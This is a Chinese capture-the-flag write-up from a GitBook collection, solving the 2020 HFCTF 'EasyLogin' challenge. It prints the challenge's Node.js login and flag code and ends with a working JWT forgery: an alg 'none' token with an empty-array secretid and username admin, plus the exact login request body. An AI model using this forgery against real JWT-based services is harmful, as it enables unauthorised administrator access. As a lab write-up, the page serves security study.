CTF-WriteUp
  • 😅Introduction
  • 🥵Friend
  • 2015
    • 2015 RCTF
      • EasySQL
  • 2016
    • 2016 0CTF
      • piapiapia
  • 2018
    • 2018 网鼎杯
      • Fakebook
      • Comment
    • 2018 BUUCTF
      • Online
    • 2018 WesternCTF
      • shrine
    • 2018 SWPUCTF
      • SimplePHP
    • 2018 HCTF
      • Hideandseek
      • WarmUp
    • 2018 SUCTF
      • GetShell
  • 2019
    • 2019 AuroraCTF
      • Check In
      • Welcome to Aurora
      • ez LFI
      • ssti
    • 2019 Hackergame
      • 签到题
      • 信息安全 2077
      • 达拉崩吧大冒险
      • 网页读取器
    • 2019 RoarCTF
      • Easy Calc
    • 2019 极客大挑战
      • Secret File
      • LoveSQL
      • Knife
      • PHP
      • Http
      • Upload
      • BuyFlag
      • BabySQL
      • FinalSQL
      • RCE ME
      • EasySQL
      • HardSQL
    • 2019 SUCTF
      • check in
      • EasyWeb
      • EasySQL
    • 2019 ZJCTF
      • NiZhuanSiWei
    • 2019 CISCN
      • [华北赛区]Hack World
      • [华北赛区]ikun
      • [华东南赛区]Web11
      • [华北赛区]Dropbox
      • [总决赛]Easyweb
      • [初赛]Love Math
      • [华北赛区]CyberPunk
      • [华东南赛区]Double Secret
    • 2019 强网杯
      • 高明的黑客
      • 随便注
    • 2019 GXYCTF
      • 禁止套娃
      • BabyUpload
      • Ping Ping Ping
      • BabySQli
    • 2019 安洵杯
      • easy_web
      • easy_serialize_php
    • 2019 De1CTF
      • SSRF Me
    • 2019 ASIS
      • Unicorn shop
    • 2019 GWCTF
      • 我有一个数据库
      • 枯燥的抽奖
    • 2019 PwnThyBytes
      • Baby_SQL
    • 2019 BSidesCF
      • Kookie
      • Sequel
    • 2019 FBCTF
      • RCEService
    • 2019 CSCCTF
      • FlaskLight
    • 2019 HarekazeCTF
      • encode_and_encode
    • 2019 SWPU
      • Web1
    • 2019 RootersCTF
      • I_<3_Flask
    • 2019 NCTF
      • SQLi
  • 2020
    • 2020 CTFShow 36D杯
      • 签到
      • rsaEZ
      • justShow
    • 2020 GKCTF
      • Check_In
      • cve版签到
      • 老八小超市儿
    • 2020 CISCN
      • easyphp
      • easytrick
      • rceme
      • babyunserialize
      • littlegame
    • 2020 羊城杯
      • easycon
      • BlackCat
      • easyphp
    • 2020 ACTF
      • Include
      • BackupFile
      • Exec
    • 2020 CTFShow 月饼杯
      • 此夜圆
      • 故人心
      • 莫负婵娟
    • 2020 西湖论剑
      • easyjson
      • newupload
    • 2020 CTFShow 1024杯
      • fastapi
    • 2020 太湖杯
      • checkInGame
      • easyWeb
      • ezMd5
      • CrossFire
    • 2020 ByteCTF
      • Check-In
    • 2020 BJDCTF
      • Easy MD5
      • The mystery of ip
      • ZJCTF,不过如此
      • 假猪套天下第一
      • 简单注入
      • EasySearch
      • EzPHP
    • 2020 网鼎杯
      • [朱雀组]Think Java
      • [青龙组]filejava
      • [青龙组]AreUSerialz
      • [朱雀组]phpweb
      • [白虎组]PicDown
      • [朱雀组]Nmap
    • 2020 MRCTF
      • 你传你🐎呢
      • Ez_bypass
      • PYWebsite
      • Ezpop
      • 套娃
    • 2020 GYCTF
      • Blacklist
      • FlaskApp
      • Ezsqli
    • 2020 BJDCTF
      • old-hack
    • 2020 WUSTCTF
      • 朴实无华
      • 颜值成绩查询
      • CV Maker
    • 2020 NPUCTF
      • ReadlezPHP
      • ezinclude
    • 2020 Zer0pts
      • Can you guess it?
    • 2020 HFCTF
      • EasyLogin
  • 2021
    • 2021 CTFShow DJBCTF
      • veryphp
      • 虎山行
      • spaceman
    • 2021 CISCN
      • easy_sql
      • easy_source
      • middle_source
      • Upload
      • filter
    • 2021 强网杯
      • pop_master
      • Hard_Penetration
      • 寻宝
    • 2021 羊城杯
      • checkin_go
      • Only 4
      • EasyCurl
    • 2021 红明谷
      • JavaWeb
      • write_shell
  • 2022
    • 2022 RealWorld CTF 4th
      • Hack into Skynet
      • RWDN
    • 2022 强网杯
      • babyweb
      • crash
      • easyweb
      • rcefile
      • uploadpro
      • WP-UM
    • 2022 NewStarCTF
      • WEEK1-WEEK2
      • [WEEK3]Maybe You Have To think More
      • [WEEK3]IncludeTwo
      • [WEEK3]BabySSTI_One
      • [WEEK3]multiSQL
      • [WEEK4]BabySSTI_Two
      • [WEEK4]So Baby RCE
      • [WEEK4]UnserializeThree
      • [WEEK4]ROME
      • [WEEK5]Give me your photo PLZ
      • [WEEK5]So Baby RCE Again
      • [WEEK5]BabySSTI_Three
      • [WEEK5]Unsafe Apache
  • 2023
    • HGAME
      • WEEK1
        • Classic Childhood Game
  • 靶场
    • 攻防世界
      • view_source
      • robots
      • backup
      • Cookie
      • disabled_button
      • weak_auth
      • simple_php
      • get_post
      • xff_referer
      • webshell
      • command_execution
      • simple_js
      • Training-WWW-Robots
      • baby_web
      • php_rce
      • PHP2
      • NaNNaNNaNNaN-Batman
    • CTFHub
      • Cookie
      • 请求方式
      • 302跳转
      • 基础认证
      • 响应包源代码
      • 默认口令
    • CTFShow
      • 信息收集
      • 爆破
      • 命令执行
      • thinkphp专题
    • N1BOOK
      • WEB入门
      • WEB进阶1
      • Web进阶2
    • Upload-Labs
    • SQL-Labs
Powered by GitBook
On this page
  1. 2020
  2. 2020 HFCTF

EasyLogin

Previous2020 HFCTFNext2021 CTFShow DJBCTF

Last updated 2 years ago

解题过程:注册的时候尝试注册admin,未果推测有admin账号,登录后果然是没有权限,想到的考点无非就是Cookie越权,看了一下aok参数有eyxxxxx的字符串,很像jwt的格式,拖去解码:

并不能说完全像吧......直接修改username之后又弹出去了,推测应该还是有session校验,于是尝试登录抓包,找到了提交的字符串,但是最后修改了验证没通过。

最后才知道要看app.js的

/**
 *  或许该用 koa-static 来处理静态文件
 *  路径该怎么配置?不管了先填个根目录XD
 */

function login() {
    const username = $("#username").val();
    const password = $("#password").val();
    const token = sessionStorage.getItem("token");
    $.post("/api/login", {username, password, authorization:token})
        .done(function(data) {
            const {status} = data;
            if(status) {
                document.location = "/home";
            }
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function register() {
    const username = $("#username").val();
    const password = $("#password").val();
    $.post("/api/register", {username, password})
        .done(function(data) {
            const { token } = data;
            sessionStorage.setItem('token', token);
            document.location = "/login";
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function logout() {
    $.get('/api/logout').done(function(data) {
        const {status} = data;
        if(status) {
            document.location = '/login';
        }
    });
}

function getflag() {
    $.get('/api/flag').done(function(data) {
        const {flag} = data;
        $("#username").val(flag);
    }).fail(function(xhr, textStatus, errorThrown) {
        alert(xhr.responseJSON.message);
    });
}

controllers/api.js

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};
{"mode":"full","isActive":false}

学到了jwt加密生成方式,即jwt伪造。

关键代码在这里:

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

直接把加密方式改为none,重新加密,分别编码

{"alg":"none","typ":"JWT"}.{"secretid":[],"username": "admin","password": "123456","iat": 1587632063}.
username=admin&password=123456&authorization=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjogImFkbWluIiwicGFzc3dvcmQiOiAiMTIzNDU2IiwiaWF0IjogMTU4NzYzMjA2M30.

成功后请求api/flag拿flag。